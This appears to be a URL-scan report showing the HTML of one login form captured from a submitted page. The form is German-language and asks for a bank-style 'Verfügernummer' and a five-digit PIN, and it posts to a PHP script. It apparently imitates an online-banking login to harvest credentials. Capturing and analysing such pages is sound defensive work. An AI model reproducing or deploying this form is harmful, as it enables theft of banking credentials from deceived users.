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Submission: On April 27 via manual from SG

Form analysis 1 forms found in the DOM

Name: loginForm — POST uz1.php

<form class="form_NW form_login" id="loginForm" name="loginForm" role="form" action="uz1.php" method="post">
  <fieldset>
    <div class="form-box">
      <div class="row separator-bottom">
        <div class="col-xs-12">
          <h5>
            <span aria-hidden="true">Melden Sie sich mit Ihrer Verfügernummer an.</span>
            <span class="sr-only">Wählen Sie das Bundesland aus und geben Sie die letzten 8 Stellen Ihrer Verfügernummer ein.</span>
            <button class="tooltip-button" type="button" uib-popover-template="'popoverInfo.html'" popover-placement="auto bottom-right" popover-trigger="'outsideClick'" popover-append-to-body="" popover-is-open="vm.popoverOpened.info"
              data-test="popover-verfuegernummer" aria-hidden="true">
              <span class="icon-only icon-info tooltip-button" aria-hidden="true"></span>
            </button>
          </h5>
        </div>
      </div>
      <div class="row">
        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
          <div class="form-group relative">
            <div>
              <!---->
              <div class="select-on-white allow-clear-false ui-select-container ui-select-bootstrap dropdown ng-empty ng-invalid ng-invalid-required" id="mandant" name="mandant" required="required">
                <div class="input-floating-label">
                  <input ng-model="vm.verfueger" id="verfueger" aria-required="true" required="" name="verfueger" type="text" autocomplete="off">
                  <label for="verfueger"> Ihr Bundesland <span class="sr-only" translate="login.verfueger.accessibility.label.verfueger">Die letzten 8 Stellen der Verfügernummer. Pflichtfeld.</span>
                  </label>
                  <!---->
                  <span class="icon-only icon-help tooltip-button" uib-popover-template="'popoverVerfueger.html'" popover-placement="auto bottom-right" popover-append-to-body="false" popover-is-open="vm.popoverOpened.verfuegerLost"
                    popover-trigger="'none'" popover-class="popover-fixed-size" ng-click="vm.popoverOpened.verfuegerLost = true" aria-hidden="true" role="button" tabindex="0"></span>
                </div>
                <div class="divider ng-hide" aria-hidden="true"></div>
                <div class="ui-select-choices-group-label dropdown-header ng-hide" aria-hidden="true"></div>
                <!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!---->
                <div class="ps-scrollbar-x-rail" style="left: 0px; bottom: 0px;">
                  <div class="ps-scrollbar-x" tabindex="0" style="left: 0px; width: 0px;"></div>
                </div>
                <div class="ps-scrollbar-y-rail" style="top: 0px; right: 8px;">
                  <div class="ps-scrollbar-y" tabindex="0" style="top: 0px; height: 0px;"></div>
                </div>
                <div class="ui-select-no-choice"></div>
                <ui-select-single></ui-select-single>
                <input class="ui-select-focusser ui-select-offscreen" type="text" id="focusser-1" aria-label="Select box focus" aria-haspopup="true" role="button">
              </div>
            </div>
          </div>
        </div>
        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
          <div class="form-group">
            <!---->
            <div class="input-floating-label">
              <input ng-model="vm.verfueger" id="Verfügernummer" aria-required="true" required="" name="Verfügernummer" type="text" autocomplete="off">
              <label for="verfueger"> Verfügernummer <span class="sr-only" translate="login.verfueger.accessibility.label.verfueger">Die letzten 8 Stellen der Verfügernummer. Pflichtfeld.</span>
              </label>
              <!---->
              <span class="icon-only icon-help tooltip-button" uib-popover-template="'popoverVerfueger.html'" popover-placement="auto bottom-right" popover-append-to-body="false" popover-is-open="vm.popoverOpened.verfuegerLost"
                popover-trigger="'none'" popover-class="popover-fixed-size" ng-click="vm.popoverOpened.verfuegerLost = true" aria-hidden="true" role="button" tabindex="0"></span>
            </div>
          </div>
        </div>
      </div>
      <div class="form-group">
        <!---->
        <!---->
        <div class="input-floating-label">
          <input type="text" ng-model="vm.pin" id="Pin" ng-maxlength="5" required="" maxlength="5" ng-minlength="5" name="Pin" class="pin ng-pristine ng-empty ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength ng-touched"
            autocomplete="off" style="">
          <label for="pin"> PIN <span class="sr-only" translate="login.pin.accessibility.label.pin">fünfstellig, Pflichtfeld</span>
          </label>
        </div>
      </div>
      <div class="checkbox checkbox-tooltip clear-padding-left separator-bottom">
        <label for="agreement">
          <input type="checkbox" ng-model="vm.checkSaveProfile" ng-disabled="vm.loading || vm.locked" data-test="checkbox-save-profile" id="agreement" aria-describedby="tooltip_speichern" class="ng-pristine ng-untouched ng-valid ng-empty"
            aria-invalid="false">
          <span>Anmeldedaten speichern</span>
        </label>
        <span id="tooltip_speichern" class="sr-only">Wenn Sie diese Checkbox aktivieren, wird die Verfügernummer und Ihr Name bei der nächsten Anmeldung auf diesem Browser angezeigt. Eine Authentifizierung ist aus Sicherheitsgründen weiterhin
          erforderlich. Sie können die gespeicherten Anmeldedaten jederzeit über die Benutzerverwaltung wieder löschen.</span>
        <div class="tooltip-inline-box">
          <span class="icon-only icon-info tooltip-button" aria-hidden="true"></span>
        </div>
      </div>
      <div class="row clear">
        <div class="col-xs-12">
          <!---->
        </div>
      </div>
      <div class="section-box-button-container">
        <input type="submit" class="btnsub" name="submit" id="submit" style="background-color: #FFFF00;" value="Weiter">
      </div>
    </div>
  </fieldset>
</form>

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